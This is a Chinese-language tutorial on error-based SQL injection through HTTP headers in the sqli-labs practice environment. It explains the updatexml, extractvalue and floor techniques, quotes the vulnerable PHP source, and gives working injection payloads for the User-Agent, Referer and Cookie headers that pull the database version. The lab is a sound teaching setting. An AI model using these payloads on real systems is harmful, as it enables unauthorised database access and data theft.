1.1 HTTP头注入
我们可以使用报错注入的方式进行,报错注入可以使用以下函数进行测试:
- floor函数:
floor(rand(0)*2) 利用分组时生成的虚拟表出现主键冲突,报出错误信息
- extractvalue函数:extractvalue(XML_document, XPath_string); 查询
- 第一个参数: XML_ document是String格式,为XML文档对象的名称
- 第二个参数: XPath_ string (Xpath格式的字符串)
例:extractvalue(' <book> <author> root < /author> </book> ',/book/author")
- updatexml函数:updatexml(XML_document, XPath_string, new_value); 修改
- 第一个参数: XML_ document是String格式,为XML文档对象的名称
- 第二个参数: XPath_ string (Xpath格式的字符串)
- 第三个参数: new_value,String格式,替换查找到的符合条件的数据
例:updatexml(' < book> <author> root < /author> < /book>', '/book/author', 'mk')
函数说明:第二个参数XPath_string 表示xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxxx...这种格式,如果我们写入其他格式就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
1.1.1 HTTP User-Agent注入
1.1.1.1 源码分析
[[email protected] Less-18]# vim index.php 37 function check_input($value) # 源码中对数据进行了检查 38 { 39 if(!empty($value)) 40 { 41 // truncation (see comments) 42 $value = substr($value,0,20); 43 } 44 45 // Stripslashes if magic quotes enabled 46 if (get_magic_quotes_gpc()) 47 { 48 $value = stripslashes($value); 49 } 50 51 // Quote if not a number 52 if (!ctype_digit($value)) 53 { 54 $value = "'" . mysql_real_escape_string($value) . "'"; 55 } 56 57 else 58 { 59 $value = intval($value); 60 } 61 return $value; 62 } 63 64 65 # 未对user-agent进行校验并存储到了数据库中 66 $uagent = $_SERVER['HTTP_USER_AGENT']; 67 $IP = $_SERVER['REMOTE_ADDR']; 103 $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; 104 mysql_query($insert);
1.1.1.2 判断是否存在注入点
修改User-Agent字段添加一个'单引号:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0'
【结果分析】:
返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '192.168.10.180', 'admin')' at line 1
说明该字段是存入了数据库中,所以可能存在注入点。
PS.正常情况是不会有回显信息的,但是源码中为了方便我们学习,将SQL语句打印了出来。
1.1.1.3 查询数据库版本信息
修改字符串:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or '1'='1
【字段解释】:
- ' and用来拼接我们的SQL语句;
- updatexml的第一个参数和第三个参数是我们随意写的,第二个参数使用连接查询数据,以为第二个参数查询的字符串不满足Xpath格式所以报错;
- or'1'='1 (注意这里少一个单引号)闭合最后的单引号否则整条语句报错连接查询不会被执行;
- 0x7e是波浪号~可以修改成其他符号的16进制,或者也可以删掉;
1.1.2 HTTP referer注入
1.1.2.1 判断是否存在注入点
1.1.2.2 查询数据版本信息
修改字符串:
Referer: http://192.168.10.159/sqli-labs/Less-19/' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
Referer: http://192.168.10.159/sqli-labs/Less-19/' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or '1'='1
1.1.3 Cookie注入
用户访问网站在交互的过程中,用户的一系列操作肯定会产生一些数据需要保存,这时就需要使用Cookie或者Session技术来完成。
登录网站时如果选择记住密码,浏览器就会保存我们登录网站的cookie,下次打开网站时就不需要再次输入用户名密码等信息。
虽然Cookie为我们带来了非常多的便捷性,但是也给我们带来了非常多的安全隐患,比如攻击者可以窃取用户的Cookie来获得用户权限,或者攻击者修改Cookie对目标服务器进行攻击。
1.1.3.1 正常登录站点
点击submit后需要Forward两次才可以正常登录系统
登录成功后刷新一下页面即可显示出cookie信息
1.1.3.3 判断是否存在注入点
1.1.3.4 查询数据库版本信息
修改字符串:
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
Cookie: uname=admin' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or '1'='1
